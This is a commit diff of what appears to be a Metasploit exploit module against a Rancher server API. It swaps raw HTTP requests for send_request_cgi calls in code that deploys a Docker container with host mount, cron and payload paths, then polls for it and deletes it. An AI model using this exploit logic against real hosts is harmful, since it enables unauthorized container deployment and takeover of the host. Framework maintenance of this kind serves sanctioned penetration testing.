@@ -59,10 +59,11 @@ def initialize(info = {})
59
59
end
60
60
61
61
def del_container ( rancher_container_id , container_id )
62
- res = send_request_raw (
62
+ res = send_request_cgi (
63
63
'method' => 'DELETE' ,
64
- 'headers' => { 'Accept' => 'application/json' } ,
65
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' , rancher_container_id )
64
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' , rancher_container_id ) ,
65
+ 'ctype' => 'application/json' ,
66
+ 'headers' => { 'Accept' => 'application/json' }
66
67
)
67
68
return vprint_good ( 'The docker container has been removed.' ) if res && res . code == 200
68
69
@@ -105,9 +106,10 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
105
106
end
106
107
107
108
def check
108
- res = send_request_raw (
109
+ res = send_request_cgi (
109
110
'method' => 'GET' ,
110
111
'uri' => normalize_uri ( target_uri . path ) ,
112
+ 'ctype' => 'application/json' ,
111
113
'headers' => { 'Accept' => 'application/json' }
112
114
)
113
115
@@ -127,9 +129,10 @@ def check
127
129
128
130
environments = JSON . parse ( res . body ) [ 'data' ]
129
131
environments . each do |e |
130
- res = send_request_raw (
132
+ res = send_request_cgi (
131
133
'method' => 'GET' ,
132
134
'uri' => normalize_uri ( target_uri . path , e [ 'id' ] , 'hosts' ) ,
135
+ 'ctype' => 'application/json' ,
133
136
'headers' => { 'Accept' => 'application/json' }
134
137
)
135
138
@@ -179,10 +182,11 @@ def exploit
179
182
container_id = make_container_id
180
183
181
184
# deploy docker container
182
- res = send_request_raw (
185
+ res = send_request_cgi (
183
186
'method' => 'POST' ,
184
187
'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' ) ,
185
- 'headers' => { 'Accept' => 'application/json' , 'Content-Type' => 'application/json' } ,
188
+ 'ctype' => 'application/json' ,
189
+ 'headers' => { 'Accept' => 'application/json' } ,
186
190
'data' => make_container ( mnt_path , cron_path , payload_path , container_id ) . to_json
187
191
)
188
192
fail_with ( Failure ::Unknown , 'Failed to create the docker container' ) unless res && res . code == 201
@@ -203,9 +207,10 @@ def exploit
203
207
sleep ( sleep_time )
204
208
wait_time -= sleep_time
205
209
206
- res = send_request_raw (
210
+ res = send_request_cgi (
207
211
'method' => 'GET' ,
208
212
'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' , '?name=' + container_id ) ,
213
+ 'ctype' => 'application/json' ,
209
214
'headers' => { 'Accept' => 'application/json' }
210
215
)
211
216
next unless res . code == 200 and res . body . include? 'stopped'
0 commit comments